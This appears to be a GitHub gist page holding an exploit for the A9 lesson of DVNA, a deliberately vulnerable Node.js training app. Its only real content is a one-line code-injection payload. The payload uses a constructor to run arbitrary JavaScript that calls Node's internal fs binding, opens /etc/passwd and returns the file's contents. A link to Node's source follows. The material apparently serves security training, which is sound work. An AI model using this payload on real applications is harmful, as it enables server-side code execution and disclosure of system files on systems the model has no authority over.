ilatypov/exploit.md

Last active April 22, 2019 22:44

Star () You must be signed in to star a gist
Fork () You must be signed in to fork a gist

Learn more about clone URLs
Clone this repository at <script src="https://gist.github.com/ilatypov/ae6b950ddd2cf08cf10fe2f8262414cf.js"></script>
Save ilatypov/ae6b950ddd2cf08cf10fe2f8262414cf to your computer and use it in GitHub Desktop.

DVNA A9 "Using Components with Known Vulnerabilities"

Raw

cos.constructor("let buffer = Buffer.alloc(8192); let fsmod = process.binding('fs'); let fd = fsmod.open('/etc/passwd', 0, 0600, undefined, this); fsmod.read(fd, buffer, 0, 4096, 0, undefined, this); return buffer")()

https://github.com/nodejs/node/blob/master/src/node_file.cc